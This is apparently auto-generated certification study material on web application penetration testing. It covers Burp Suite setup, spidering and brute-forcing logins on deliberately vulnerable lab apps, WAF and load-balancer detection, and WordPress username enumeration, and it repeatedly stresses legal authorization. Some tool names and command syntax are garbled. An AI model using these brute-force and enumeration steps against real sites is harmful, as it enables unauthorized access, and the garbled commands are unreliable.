European IT Certification Curriculum Self-Learning Preparatory Materials

EITC/IS/WAPT

Web Applications Penetration Testing

This document constitutes European IT Certification curriculum self-learning preparatory material for the EITC/IS/WAPT Web Applications Penetration Testing programme.

This self-learning preparatory material covers requirements of the corresponding EITC certification programme examination. It is intended to facilitate certification programme's participant learning and preparation towards the EITC/IS/WAPT Web Applications Penetration Testing programme examination. The knowledge contained within the material is sufficient to pass the corresponding EITC certification examination in regard to relevant curriculum parts. The document specifies the knowledge and skills that participants of the EITC/IS/WAPT Web Applications Penetration Testing certification programme should have in order to attain the corresponding EITC certificate.

Disclaimer

This document has been automatically generated and published based on the most recent updates of the EITC/IS/WAPT Web Applications Penetration Testing certification programme curriculum as published on its relevant webpage, accessible at:

https://eitca.org/certification/eitc-is-wapt-web-applications-penetration-testing/

As such, despite every effort to make it complete and corresponding with the current EITC curriculum it may contain inaccuracies and incomplete sections, subject to ongoing updates and corrections directly on the EITC webpage. No warranty is given by EITCI as a publisher in regard to completeness of the information contained within the document and neither shall EITCI be responsible or liable for any errors, omissions, inaccuracies, losses or damages whatsoever arising by virtue of such information or any instructions or advice contained within this publication. Changes in the document may be made by EITCI at its own discretion and at any time without notice, to maintain relevance of the self-learning material with the most current EITC curriculum. The self-learning preparatory material is provided by EITCI free of charge and does not constitute the paid certification service, the costs of which cover examination, certification and verification procedures, as well as related infrastructures.

TABLE OF CONTENTS

EITC/IS/WAPT WEB APPLICATIONS PENETRATION TESTING DIDACTIC MATERIALS
LESSON: GETTING STARTED
TOPIC: INTRODUCTION TO BURP SUITE

Burp Suite is an integrated platform used for security testing of web applications. It allows users to intercept the data being sent between a browser and a web application, providing insights into how data is transferred and manipulated. In this didactic material, we will guide you through the process of setting up Burp Suite and understanding its interface.

To begin, Burp Suite can be installed on various operating systems, such as Windows, Kali Linux, or macOS. You can download the free community version, which is sufficient for most users. However, the professional version offers additional features and is recommended for more experienced users.

Once Burp Suite is installed, we need to set up the proxy, which allows us to intercept data between the client and the web application. For this demonstration, we will be using Firefox as the browser. In Firefox preferences, navigate to the network proxy settings and configure it to use a manual proxy configuration. Set the proxy to "localhost" with the port number "8080" and ensure that it is used for all protocols.

With the proxy configured, open Burp Suite. The welcome screen will appear, where you can select the version you are using (community or professional). For the community version, you can only use a temporary project, while the professional version allows you to save your project. Select the appropriate option and click "Next".

Next, choose to use the Burp defaults and click "Start Burp" to launch the application. It may take a few seconds to start up. The Burp Suite interface may appear overwhelming at first, especially if you are new to penetration testing. However, we will guide you through the interface in the next material, focusing on how Burp Suite works. For now, let's focus on getting you set up with Burp Suite.

By default, the interface includes various tabs and features such as the target, proxy, spider, scanner, intruder, repeater, sequencer, decoder, compare, extender, project options, user options, and alerts. We will explore each of these features in detail as we perform real-world testing on vulnerable web applications.

Burp Suite is a powerful tool for web application penetration testing. It allows users to intercept and analyze data between a browser and a web application, providing valuable insights into potential vulnerabilities. In the next material, we will delve deeper into the functionalities and usage of Burp Suite.

Burp Suite is a powerful tool used in web application penetration testing. In this tutorial, we will provide an introduction to Burp Suite and explain how to set up the proxy for intercepting and analyzing web traffic.

To begin, open Burp Suite and navigate to the Proxy tab. By default, the Intercept option is enabled, but for now, we will turn it off to avoid intercepting any traffic. Next, go to the Options menu and ensure that the Proxy Listeners are set to the same configuration as your browser. This typically involves setting the proxy to "localhost" or "127.0.0.1" with port 8080. Make sure that the proxy is running.

Now, let's see the magic happen. Open your browser and enter a test site URL, such as example.com. Hit enter to load the website. If you go back to Burp Suite and navigate to the HTTP History tab, you will see that a GET request has been made to example.com. Additionally, you can find more information about the request, such as the host, accept language, encoding, and connection, in the headers section.

If you are new to headers and the concept of request-response pairs, don't worry. We will cover these topics in more detail later. For now, let's continue with the intercept feature. Open your browser again and enter a different URL, such as hsplite.com. Before hitting enter, turn on the intercept feature in Burp Suite. When you try to access the website, you may encounter a security warning. Simply add the website as an exception and proceed.

Now, the request is intercepted by Burp Suite. To forward the request and load the website, go back to Burp Suite and click the forward button. The website should now load successfully.

This is how you intercept and analyze the data being sent from the client to the web application. It allows you to

manipulate the data and identify vulnerabilities within the web application. Keep in mind that this was just a basic introduction, and we will cover more advanced topics in subsequent materials.

In the next material, we will dive deeper into the methodologies, terminology, and understanding of HTTP. Stay tuned for more content in this series.

EITC/IS/WAPT WEB APPLICATIONS PENETRATION TESTING DIDACTIC MATERIALS
LESSON: SPIDERING
TOPIC: SPIDERING AND DVWA

Web application penetration testing involves assessing the security of web applications by identifying vulnerabilities and potential attack vectors. In this tutorial, we will focus on spidering, specifically using Burp Suite.

Spidering is the process of mapping out a web application to identify its scope and potential areas to scan. It is a crucial step in the penetration testing process as it helps in finding web forms, which can be further exploited to manipulate headers and perform attacks.

Burp Suite is a popular tool used in web application security testing. It provides various functionalities, including spidering. When Burp Suite is set to automatic spidering mode, it follows links within the web application and identifies files, folders, and forms. It records all the requests and responses during the spidering process.

To start spidering with Burp Suite, open the tool and navigate to the spider section. Here, you will find two tabs: control and options. The control tab allows you to monitor and control the spidering process. You can start and stop the spider, as well as clear the queues.

Spidering helps in discovering the structure of a web application and finding potential attack vectors. By following links and recording requests and responses, it provides valuable information for further analysis and exploitation.

In this tutorial, we will be using the Damn Vulnerable Web Application (DVWA) as our target. DVWA is a deliberately vulnerable web application that allows users to practice web application security testing. It is recommended to have Metasploitable 2, which contains both a vulnerable operating system and the necessary vulnerable web applications.

To access DVWA, open your browser and enter the local IP address of your Metasploitable 2 virtual machine. In this case, the IP address is 192.168.1.102. After loading, select DVWA from the options and enter the username and password (admin/password) to log in.

Once logged in, you can explore the different options and settings of DVWA. In later materials, we will delve deeper into these options. For now, it is important to note that the security level of DVWA should be set to medium or low.

Spidering with Burp Suite is an essential step in web application penetration testing. It helps in identifying the scope of the application, mapping out its structure, and discovering potential vulnerabilities. By following links and recording requests and responses, it provides valuable information for further analysis and exploitation.

The control section of a web application penetration testing tool allows users to control the spidering process. Users can start and stop the spider, as well as clear existing queues. The spider scope feature allows users to define the scope of the spidering process. They can specify what they want to spider, such as hosts and ports.

In the options section, there are several settings related to the crawler. Users can specify what the spider will crawl for, including the robots.txt file, links to non-text content, and the root of all directories. It is important to be cautious when modifying the maximum link depth setting. This setting determines the number of links the spider will crawl or map. Higher values may overload the web application and cause it to respond slowly.

Passive spidering is a feature that allows the spidering process to continue while users perform other tasks. It monitors traffic through the proxy and updates the sitemap without making new requests. The link depth associated with proxy requests should be kept low to avoid slowing down the web application.

Form submission is another feature that will be covered in later materials. It involves submitting forms during the spidering process.

The control and options sections of the web application penetration testing tool provide users with control over

the spidering process, allowing them to define the scope and customize the settings according to their needs.

In this didactic material, we will discuss the concept of spidering in the context of web applications penetration testing. Spidering refers to the process of systematically exploring and mapping the structure and content of a web application. It is an essential step in identifying potential vulnerabilities and weaknesses that could be exploited by attackers.

Before diving into the details of spidering, it is important to understand the settings that control the spider engine. These settings determine the behavior of the engine when making HTTP requests during the spidering process. One such setting is the number of threads used, which affects the speed and efficiency of spidering. It is recommended to keep the number of threads within the range of two to five to avoid slowing down the web application.

Additionally, there are more advanced settings that can be customized based on timing requirements. These settings allow for fine-tuning the spider engine's behavior and can be utilized to optimize the spidering process.

Another aspect to consider when spidering is the request headers. These headers can be modified to alter the way the spider interacts with the web application. For example, the user agent header can be changed to simulate requests from different devices, such as a mobile device. By modifying the request headers, different responses can be obtained from the web application, providing valuable insights into its behavior.

Understanding the theory behind spidering is crucial before delving into its practical implementation. It allows testers to comprehend the underlying mechanisms and processes involved. In the next material, we will explore the practical aspects of spidering and how it is performed in real-world scenarios.

Spidering is an integral part of web applications penetration testing. It involves systematically exploring and mapping the structure and content of a web application to identify potential vulnerabilities. By customizing the spider engine's settings and modifying request headers, testers can gain valuable insights into the web application's behavior. Understanding the theory behind spidering is essential for its effective implementation.

EITC/IS/WAPT WEB APPLICATIONS PENETRATION TESTING DIDACTIC MATERIALS
LESSON: BRUTE FORCE TESTING
TOPIC: BRUTE FORCE TESTING WITH BURP SUITE

Brute force testing is a method used in cybersecurity to gain unauthorized access to a system by systematically trying all possible combinations of passwords or usernames until the correct one is found. In this didactic material, we will focus on brute force testing with Burp Suite, a popular tool used for web application penetration testing.

Before we begin, it is important to note that brute force testing should only be performed on systems that you have legal permission to test. Unauthorized access to systems is illegal and unethical.

To get started, we will need a vulnerable web application to test. In this example, we will be using the Damn Vulnerable Web Application (DVWA) hosted on a Metasploitable 2 virtual machine. However, you can also install DVWA on your own Kali Linux machine if you prefer.

To perform the brute force testing, we will be using Burp Suite, specifically the community edition, which is the latest version at the time of writing. Make sure you have Burp Suite installed and running.

To configure Burp Suite for our testing, we need to set up the proxy settings. In Burp Suite, go to Preferences > Advanced and make sure the proxy is set to "Manual proxy configuration" with the address "127.0.0.1" and port "8080".

Next, start a temporary project in Burp Suite and use the default settings. This is sufficient for our purposes.

Now, we need to set the security level of DVWA to "low" to make it easier to brute force. In DVWA, navigate to the security settings and set the level to "low".

With everything set up, we can now start the brute force testing. In DVWA, there is a login prompt that we will attempt to brute force. The username and password are both unknown to us.

To intercept the requests and responses between the web application and our browser, we need to turn on the intercept feature in Burp Suite. However, for demonstration purposes, we will first show you the result without intercepting.

If we enter a random username and password and try to log in, DVWA will inform us that the credentials are incorrect. This is expected behavior.

Now, let's turn on the intercept feature in Burp Suite. This will allow us to view and modify the requests and responses. After turning on intercept, reload the login page and enter the same random credentials again.

This time, you will notice that the request is intercepted by Burp Suite. We can now analyze the request to gain insights into the structure and parameters of the login process.

While we won't go into the details of analyzing the request in this didactic material, it is important to understand that by intercepting the request, we can manipulate it to perform brute force testing. For example, we can modify the username and password parameters to systematically try different combinations.

It is worth mentioning that brute force testing can be a time-consuming process, especially if the system has strong security measures in place. Therefore, it is essential to use efficient techniques and tools like Burp Suite to optimize the testing process.

Brute force testing is a technique used in cybersecurity to gain unauthorized access to systems by systematically trying all possible combinations of passwords or usernames. Burp Suite is a powerful tool that can be used for web application penetration testing, including brute force testing. However, it is crucial to obtain legal permission before performing any penetration testing activities.

In the context of web application penetration testing, one of the techniques used is brute force testing. This

technique involves systematically trying all possible combinations of values to gain unauthorized access to a system. In this didactic material, we will focus on brute force testing using Burp Suite.

To begin with, it is crucial to understand the structure of the request. In the case of a login form, the request typically includes parameters such as username and password. Identifying these parameters is essential for successful brute force testing.

Burp Suite offers a tool called "Intruder" that allows us to modify and manipulate requests. It enables us to perform various attacks, including brute force testing. To use the Intruder, we need to send the request to it. This can be done by right-clicking on the request and selecting "Send to Intruder."

Once the request is sent to the Intruder, we can proceed with the configuration. In the "Positions" tab, we can observe the different fields or parameters that can be targeted for brute force testing. However, in this case, we are only interested in the username and password fields. To avoid confusion, it is advisable to clear all the selected fields by clicking on "Clear."

Next, we need to select the appropriate attack type. For our scenario, the "Cluster Bomb" attack type is suitable. This attack type allows us to test combinations of two values simultaneously. Since we are targeting the username and password fields, clustering them together makes sense.

After selecting the attack type, we can proceed to select the values we want to brute force against. By highlighting the username field and clicking on "Add," we include it in the attack. Similarly, we do the same for the password field. Now, we have set up the two values for brute force testing.

In the "Payloads" tab, we can configure the payload set. In this case, we set the payload set to 2, representing the username and password fields. As we are only targeting usernames and passwords, we choose the "Simple List" payload type.

To proceed further, we need a list of usernames and passwords to test against. In this example, we are not using a word list, but for real-world scenarios, it is advisable to obtain proper authorization and use appropriate word lists. For our purposes, we can add default usernames manually.

By following the steps outlined above, we can effectively set up brute force testing using Burp Suite's Intruder tool. It is important to note that brute force testing should only be performed with proper authorization and in controlled environments to ensure ethical and legal practices.

Brute force testing is a technique used in cybersecurity to gain unauthorized access to a system or application by systematically trying all possible combinations of usernames and passwords. In this didactic material, we will explore how to perform brute force testing using Burp Suite, a popular web application penetration testing tool.

To begin, we need to select the usernames and passwords that we want to test. The usernames can be default ones such as "admin" or "root," or they can be specific to the target system. For passwords, we can use common defaults like "password" or "admin," or we can create our own list of commonly used passwords.

Once we have selected the usernames and passwords, we can load them into Burp Suite. Burp Suite allows us to use word lists, which are files containing a list of words or phrases that will be used as passwords during the testing process. Burp Suite comes with default word lists that can be found in the Metasploit folder of the Kali Linux distribution. These word lists contain default passwords for various services and databases.

If we want to use our own passwords, we can manually enter them into Burp Suite. We can add passwords like "password," "admin," or "root," as well as commonly used sequences like "12345." It is important to note that using default or commonly used passwords is for educational purposes only. In real-world scenarios, it is crucial to use strong and unique passwords to ensure security.

Once we have set up our usernames and passwords, we can proceed to the next step, which is selecting the payload types. Payloads are the data that we send to the target system during the testing process. In Burp Suite, we can define two payloads: one for usernames and one for passwords. These payloads will be used in the brute force attack.

After setting up the payloads, we can move on to the Intruder module in Burp Suite. The Intruder module allows us to automate the brute force attack by sending multiple requests with different combinations of usernames and passwords. When the attack is started, Burp Suite will go through all the combinations and send them to the target system.

During the attack, it is important to analyze the responses from the target system. The server or web application will send back status codes and response lengths. By analyzing these responses, we can determine which combinations of usernames and passwords are correct. For example, if a response has a different length or format compared to others, it might indicate a successful login.

In the results of the brute force attack, we can see the status codes, response lengths, and responses from the target system. If a successful login is found, the response will indicate that the login was successful. It is important to note that brute force attacks are not effective against modern websites with strong security measures in place. This technique is mainly applicable to older websites that might have weaker security.

Brute force testing is a technique used to gain unauthorized access to systems or applications by systematically trying all possible combinations of usernames and passwords. Burp Suite is a powerful tool that can automate the brute force attack process. However, it is important to use this technique responsibly and only for educational purposes.

After successfully logging in to the web application, we can observe that the default username is "admin" and the password is "password." By examining the raw HTTP data, we can analyze the request and response, as well as inspect the headers being sent. This information is useful for understanding the communication between the client and the server.

Now, let's proceed to the next step. In Burp Suite, we will disable the intercept feature in the proxy. This will allow us to attempt a brute force attack on the login page. As mentioned earlier, the username is "admin" and the password is "password." Let's try logging in and see if we can gain access to the password-protected admin area.

Congratulations! We have successfully performed our first brute force attack. This technique involves systematically trying different combinations of usernames and passwords until a successful login is achieved. It is important to note that brute force attacks are unethical and illegal unless performed with proper authorization and for legitimate security testing purposes.

In this video, we have covered the basics of brute force testing with Burp Suite. This technique can be used to identify weak or easily guessable credentials, helping organizations strengthen their security measures. As we progress, we will explore more advanced topics in web application penetration testing.

Thank you for your support and for watching this material. If you found value in this content, please leave a like. If you have any questions or suggestions, feel free to leave a comment or reach out to me through my social networks or website.

Stay tuned for more informative and engaging videos. Your support motivates me to create even better content. See you in the next material!

EITC/IS/WAPT WEB APPLICATIONS PENETRATION TESTING DIDACTIC MATERIALS
LESSON: FIREWALL DETECTION
TOPIC: WEB APPLICATION FIREWALL DETECTION WITH WAFW00F

Web application firewalls (WAFs) are an essential component of cybersecurity, providing protection and mitigation procedures to safeguard web applications from attacks. In this didactic material, we will explore the detection of web application firewalls using the tool WAFW00F.

A web application firewall acts as a barrier between a web application and potential threats, blocking attacks and ensuring the security of the application. This is particularly important for penetration testers, whether they are operating from a white hat or black hat perspective. For white hat testers, having a web application firewall in place is crucial for protection. Setting up a web application firewall is easy and free, and it can eliminate up to 20% of potential attacks.

When performing a legally authorized penetration test, the employer will typically provide a project scope and relevant information, such as source code. However, what many testers overlook is the presence of a web application firewall. This is because the person who set up the website or web application on a professional level often includes a web application firewall without informing the testers.

Detecting the presence of a web application firewall is essential for penetration testers. By using the tool WAFW00F, we can easily identify whether a web application firewall is in place. WAFW00F is an industry-standard tool that is not widely known yet, but it provides valuable insights into the security of web applications.

A web application firewall protects the application by blocking attacks that come through the firewall. For penetration testers, this means that any data manipulation or sending of encoded data back to the web application needs to be done in a specific way to bypass the firewall. Otherwise, the firewall will block these requests. This is a common issue encountered by amateur penetration testers who find that their requests are not being processed due to the presence of a firewall.

To detect a web application firewall using WAFW00F, open your terminal and type in "wafw00f." This tool, with its humorous name, is a reliable web application firewall detection tool. It has been around since the earlier versions of BackTrack and Kali, making it a trusted and time-saving resource for penetration testers.

To illustrate the usage of WAFW00F, let's consider an example where we want to scan a website hosted on the IP address 192.168.1.101. By running WAFW00F with the command "wafw00f," we can determine whether this website has a web application firewall in place.

Web application firewalls are crucial for the protection of web applications against potential attacks. Detecting the presence of a web application firewall is essential for penetration testers, and the tool WAFW00F provides an effective means of identifying these firewalls. By understanding and utilizing this tool, penetration testers can enhance the effectiveness of their tests and ensure the security of web applications.

Web application firewall (WAF) detection is an essential part of web application penetration testing. One tool that can be used for this purpose is WAFW00F. WAFW00F is an industry-standard tool that allows users to determine if a web application is protected by a web application firewall.

The syntax for using WAFW00F is straightforward. Simply type "wafw00f" followed by the URL or IP address of the web application you want to test. You can enter multiple URLs if needed. It is important to include the HTTP or HTTPS protocol before the URL.

For example, let's consider a scenario where we want to test a web application with the IP address 192.168.1.101. We would use the command "wafw00f -http://192.168.1.101". Upon executing this command, WAFW00F will analyze the web application and provide a result indicating whether a web application firewall is detected.

If the tool detects no web application firewall, it means that the web application is not protected by a firewall. However, if a web application firewall is detected, it suggests that the web application is secured against certain attacks, such as data manipulation and DDoS attacks.

To illustrate this further, let's consider the example of a website called elgonstudios.com. This website is protected by a web application firewall provided by Cloudflare. To test if WAFW00F can detect this firewall, we would use the command "wafw00f -https://elgonstudios.com". Upon execution, WAFW00F will analyze the site and indicate whether it is behind a web application firewall.

In this case, WAFW00F will confirm that elgonstudios.com is indeed behind a web application firewall, specifically the one provided by Cloudflare. This means that the website is safeguarded against certain attacks and ensures that the responses received are as intended, enhancing security.

It is worth noting that knowing whether a web application is protected by a firewall is crucial for effective penetration testing. This information helps testers optimize their strategies and avoid wasting time on commands that may not work due to strong protection measures. By using WAFW00F, testers can gather valuable information about the security measures in place and tailor their approach accordingly.

It is important to emphasize that WAFW00F should only be used for ethical purposes, such as information gathering during penetration testing. Any malicious use of this tool is strictly prohibited.

EITC/IS/WAPT WEB APPLICATIONS PENETRATION TESTING DIDACTIC MATERIALS
LESSON: TARGET SCOPE
TOPIC: TARGET SCOPE AND SPIDERING

In this didactic material, we will be discussing the process of selecting a target for web application penetration testing and how to use spidering to map the target web application.

To begin, it is essential to understand the concept of scope in web application penetration testing. Scope refers to the specific areas or components of a web application that will be tested for vulnerabilities. By defining the scope, testers can focus their efforts on the most critical areas and ensure a thorough assessment of the application's security.

The first step in the process is selecting the target web application. In this example, we will be using a vulnerable web application called "Motility." It is recommended to download and use Metasploitable2, a virtual machine that provides multiple vulnerable systems and web applications for practice.

Once the target web application is identified, we need to configure our testing environment. In this case, we will be using Kali Linux as the testing platform. To access the target web application, we need to obtain the IP address of the virtual machine running Metasploitable2. This can be done by using the "ifconfig" command in the terminal.

Next, we open the browser in Kali Linux and enter the IP address of the virtual machine, followed by the port number of the target web application. In this case, the IP address is "192.168.1.104." By reloading the page, we can confirm that we have successfully accessed the Metasploitable2 server and the Motility web application.

To perform web application penetration testing, we will be using Burp Suite, a popular tool for assessing web application security. Before we start using Burp Suite, we need to configure the proxy settings. By going into the browser's preferences and selecting the advanced network settings, we set the manual proxy configuration to use the localhost proxy (127.0.0.1) with port 8080.

Once the proxy settings are configured, we can start Burp Suite Community, which is the version we will be using in this example. Burp Suite will launch, and we can minimize the browser window.

In Burp Suite, we need to turn off the intercepting feature since we are not intercepting any requests or responses in this video. We can do this by going back to the target tab and disabling the intercepting functionality.

Now, we can reload the page in the browser to start mapping the web application using spidering. Spidering is a technique used to automatically explore and map the structure of a web application. It helps identify all the pages and functionalities within the application.

After reloading the page, we can see the site map in Burp Suite. The site map displays the discovered files and the structure of the web application. In this case, we can observe the web server and the Motility folder, which is our target.

To select the target web application (Motility), we can right-click on it in the site map and choose "Add to Scope." This action adds the target to the scope of the penetration testing, ensuring that it will be thoroughly assessed for vulnerabilities.

By following these steps, we have successfully selected our target web application and initiated the spidering process to map its structure. This mapping will provide valuable insights into the web application's functionality and aid in identifying potential vulnerabilities.

It is important to note that this video also discusses the differences between the community and professional versions of Burp Suite. The professional version offers advanced features and capabilities that may be necessary for more complex penetration testing scenarios.

Selecting the target scope and performing spidering are crucial steps in web application penetration testing. By

accurately defining the scope and mapping the web application's structure, testers can effectively identify vulnerabilities and improve the application's overall security.

Automated spidering is a technique used in web application penetration testing to focus only on the target and exclude reference links. Scoping is the process of selecting and isolating the target to see only what is necessary and obtain the desired results. To add the target to the scope, right-click on the target and select "Add to Scope." This ensures that irrelevant information is excluded from the analysis.

Spidering is an essential step in web application penetration testing, similar to footprinting. It involves crawling through the website, recording all files, links, and methods to understand the structure and functionality of the web application. This information helps in identifying vulnerabilities and potential areas of exploitation. To perform spidering, right-click on the target and select "Spider This Branch." This initiates the process of gathering links and parameters.

During spidering, there may be login forms that prompt for credentials. These forms can be ignored unless performing internal penetration tests with known credentials. To view the status of spidering, navigate to the spider menu. Once the spidering is complete, the requests made and bytes transferred will stop changing, indicating that the spidering process can be stopped.

To automate the handling of login prompts, go to the spider menu, select options, and navigate to application login. By default, the form submission uses common credentials found in a database, such as mail, first name, last name, address, etc. To automatically submit credentials, change the option from "Prompt for Guidance" to "Automatically Submit." Default or expected credentials can be entered in this section. For example, if there is knowledge of default usernames and passwords, they can be entered here.

In the previous material, we discussed the process of spidering a web application during penetration testing. Spidering involves exploring the structure and content of a web application to gain a better understanding of its functionality and potential vulnerabilities.

To begin, we need to navigate to the target web application and access the control panel. Once there, we can proceed with spidering the application. Spidering allows us to process the strings we entered earlier, particularly the username string.

To initiate spidering, we can right-click on the web application branch and select the "Spider" option. This will start the spidering process, which may take some time to complete. Once the spidering is finished, we can review the results in the spider window.

During spidering, we may come across reference sites that are not relevant to our testing. These can be disregarded, as they do not provide valuable information about the web application. However, we may encounter folders or directories that are of particular interest. These can provide insights into the structure of the web application, which is vital for identifying potential vulnerabilities.

By examining the web application's structure, we can gain an understanding of how the website is organized and navigate through its various sections. This includes reviewing documentation, inspecting images and styles, and exploring the entire site to comprehend the developer's thought process.

Additionally, experience and knowledge play a crucial role in exploiting a system. By discovering hidden files, such as admin pages or login pages, we can uncover valuable information that may aid in penetration testing.

In the next material, we will delve deeper into the topic of discovering hidden files and exploring alternative tools for penetration testing. We will also address the importance of defining the scope of our testing and filtering out irrelevant links and resources.

To filter the results and focus only on items within the scope, we can utilize the filter function. By clicking on the filter bar and selecting the "Filter by request type" option, we can choose to display only in-scope items. This will remove any unnecessary clutter and allow us to analyze the requests and responses accurately.

Defining the scope is crucial to avoid confusion and ensure that we are targeting the correct web application. Beginners often make the mistake of not clearly defining their scope, resulting in the analysis of unrelated links.

By understanding this concept, we can establish a solid foundation for our penetration testing endeavors.

Lastly, we can log out of skip out-of-scope proxy traffic when necessary. This feature is particularly useful when we want to focus solely on the files relevant to our current penetration test.

While this material may not have contained much action, it is essential to grasp the concepts discussed. In the next material, we will explore how to discover hidden files and unauthorized content, using engagement tools available in professional versions of web suite.

Web Applications Penetration Testing is a crucial aspect of cybersecurity. In this process, the target scope and spidering play a significant role. Target scope refers to the specific areas of a web application that are included in the penetration testing. Spidering, on the other hand, involves the automated exploration of a website to identify its structure and potential vulnerabilities.

During a web application penetration test, it is important to identify the target scope accurately. This includes determining the pages or functionalities that need to be tested. Web developers may attempt to hide certain elements, but if found, these elements can be exploited and lead to the exploitation of the entire website.

Spidering is a technique used to map the structure of a website. It involves automatically navigating through the different pages and following links to identify all accessible areas. By spidering a website, penetration testers can gain a comprehensive understanding of its layout, architecture, and potential vulnerabilities.

One approach to spidering is to use a web crawler, which is a program that automatically traverses the web and collects information about websites. The crawler starts from a given URL and follows links to other pages, creating a map of the website's structure. This map can then be used to identify potential entry points for penetration testing.

Another technique used in spidering is called "fuzzing." Fuzzing involves sending random or malformed data to a web application to see how it responds. This can help identify vulnerabilities such as input validation errors or inadequate error handling.

By combining the target scope and spidering techniques, penetration testers can effectively identify potential vulnerabilities in web applications. This information is crucial for organizations to strengthen their security measures and protect their sensitive data.

Web applications penetration testing requires a careful analysis of the target scope and the use of spidering techniques to identify potential vulnerabilities. By understanding the structure and potential weaknesses of a web application, organizations can take proactive steps to enhance their cybersecurity defenses.

EITC/IS/WAPT WEB APPLICATIONS PENETRATION TESTING DIDACTIC MATERIALS
LESSON: HIDDEN FILES
TOPIC: DISCOVERING HIDDEN FILES WITH ZAP

This part of the material is currently undergoing an update and will be republished shortly.

EITC/IS/WAPT WEB APPLICATIONS PENETRATION TESTING DIDACTIC MATERIALS
LESSON: WORDPRESS
TOPIC: WORDPRESS VULNERABILITY SCANNING AND USERNAME ENUMERATION

In this didactic material, we will explore the topic of WordPress vulnerability scanning and username enumeration in the context of web application penetration testing. We will focus on a specific tool called Zoom, which is an automatic and lightning-fast WordPress vulnerability scanner.

WordPress is a popular content management system (CMS) used by millions of websites around the world. Due to its widespread use, it has become a prime target for attackers. Therefore, it is crucial to regularly scan WordPress websites for vulnerabilities to ensure their security.

One important aspect of vulnerability scanning is username enumeration. This process involves identifying valid usernames associated with a WordPress installation. Knowing valid usernames can significantly aid attackers in their attempts to crack passwords and gain unauthorized access to the system.

Zoom is a powerful tool that excels in username enumeration. By enumerating subdomains and usernames, it quickly provides a list of valid usernames associated with a WordPress installation. This feature can be invaluable for both security professionals and attackers, as it simplifies the process of identifying potential targets.

However, it is worth noting that Zoom does not support plugin and theme enumeration. This means that it does not display the currently installed themes and plugins, which can be important for assessing the overall security of a WordPress website. To obtain this information, another tool called WordPress Scan can be used in conjunction with Zoom.

Using Zoom is straightforward. After cloning the tool's repository from GitHub, it can be launched as a Python executable. To perform a scan, the user needs to specify the URL of the target WordPress website using the "-u" command. For example, "python zoom.py -u http://192.168.1.103" would scan the website hosted at that IP address.

Once the scan is initiated, Zoom rapidly enumerates usernames associated with the WordPress installation. The results are displayed in real-time, allowing users to quickly identify valid usernames. Additionally, Zoom provides information about current vulnerabilities that can be exploited. This information can be invaluable for bug bounty hunters or security professionals looking to secure WordPress websites.

Zoom is a powerful WordPress vulnerability scanner that excels in username enumeration. It provides fast and accurate results, enabling users to identify potential vulnerabilities and take appropriate actions to secure their WordPress websites. However, it is important to note that Zoom does not support plugin and theme enumeration, which can be obtained using other tools such as WordPress Scan.

WordPress Vulnerability Scanning and Username Enumeration

In this didactic material, we will discuss WordPress vulnerability scanning and username enumeration. These are important topics in the field of cybersecurity, specifically in web applications penetration testing.

WordPress is a popular content management system (CMS) used by millions of websites worldwide. However, like any other software, it is not immune to vulnerabilities. Vulnerability scanning is the process of identifying weaknesses in a system or application that could potentially be exploited by attackers.

Username enumeration is the process of discovering valid usernames on a target system. Attackers can use this information to launch targeted attacks, such as brute-force attacks, where they attempt to guess passwords for these usernames.

To protect against vulnerability scanning and username enumeration in WordPress, there are several measures that can be taken. One recommendation is to use a firewall protection service. This can be achieved by installing plugins or by using a service like Cloudflare, which provides DDoS protection, a firewall, and can also improve website performance.

During a vulnerability scan, the scanner attempts to extract usernames from the target WordPress site. However, if proper security measures are in place, such as a firewall, the scan will be blocked, and no usernames will be enumerated.

It is important to note that attempting to hack a website without proper authorization is illegal and unethical. As a penetration tester or someone interested in cybersecurity, it is crucial to follow ethical guidelines and only perform tests on systems where you have permission.

WordPress vulnerability scanning and username enumeration are vital topics in the field of cybersecurity. By implementing proper security measures, such as using a firewall protection service, website owners can protect their WordPress sites from potential attacks.

EITC/IS/WAPT WEB APPLICATIONS PENETRATION TESTING DIDACTIC MATERIALS
LESSON: LOAD BALANCING
TOPIC: LOAD BALANCER SCAN

Load balancing is an important aspect of web application penetration testing as it can significantly impact the results of the tests. When load balancing is in place, requests to a website or web application are distributed across multiple servers, which can lead to different results for each request. This can confuse penetration testers and potentially lead to errors in their judgment and testing process.

To identify load balancing in web applications, a tool called lbd can be used. This tool is pre-installed on most penetration testing distributions and is simple to use. By running the command "lbd" followed by the domain name, the tool will scan for both DNS and HTTP load balancing.

In the case of the example used in this material, the domain bbc.com was scanned. The tool first checked for DNS load balancing and identified that bbc.com has two DNS servers under the same subnet, but with different IP addresses. This indicates the presence of DNS load balancing, which helps bbc.com handle a large number of requests and maintain site performance.

Next, the tool checked for HTTP load balancing. After completing the scan, the tool provided a summary of the results. In this case, it was found that bbc.com also uses HTTP load balancing. The load balancing detector version 0.4 was used for this scan, which is a tool that is not widely known but is available in penetration testing distributions like Kali Linux.

Understanding load balancing in web applications is crucial for penetration testers as it allows them to interpret the varying results they may encounter during testing. By knowing that load balancing is in place, testers can adjust their approach and avoid confusion or mistakes in their assessments.

Load balancing is an important consideration in web application penetration testing. It can affect the results of tests and lead to different outcomes for each request. Using tools like lbd, penetration testers can identify whether a web application uses DNS or HTTP load balancing, enabling them to make informed decisions during testing.

Load balancing is a crucial aspect of web application security, especially for high-traffic websites. It helps distribute incoming network traffic across multiple servers to ensure efficient resource utilization and improve the overall performance and availability of the website.

There are various methods of load balancing, and two commonly used methods are DNS (Domain Name System) and HTTP (Hypertext Transfer Protocol). DNS load balancing involves distributing traffic based on the IP address returned by the DNS server. On the other hand, HTTP load balancing distributes traffic based on specific rules, such as the number of connections or server response time.

Load balancing is essential for websites that receive millions of daily users and frequent requests. By evenly distributing the workload across multiple servers, load balancing helps maintain fast and responsive website performance. It prevents any single server from becoming overloaded and ensures that all user requests are handled efficiently.

In the context of penetration testing, load balancing can significantly impact the testing process. Understanding the load balancing mechanism employed by a web application is crucial for accurately assessing its security vulnerabilities. Depending on the type of web application being tested, load balancing can affect the path and outcome of the penetration test.

Load balancing plays a vital role in ensuring the smooth operation of high-traffic websites. It helps maintain performance and availability by distributing network traffic across multiple servers. In the context of penetration testing, understanding the load balancing mechanism is essential for accurate vulnerability assessment.

EITC/IS/WAPT WEB APPLICATIONS PENETRATION TESTING DIDACTIC MATERIALS
LESSON: CROSS-SITE SCRIPTING
TOPIC: XSS - REFLECTED, STORED AND DOM

Cross-site scripting (XSS) is a critical vulnerability in web applications that allows attackers to inject malicious scripts into a website, potentially compromising user data or attacking the server side of the application. XSS can occur in three different forms: reflected, stored, and DOM.

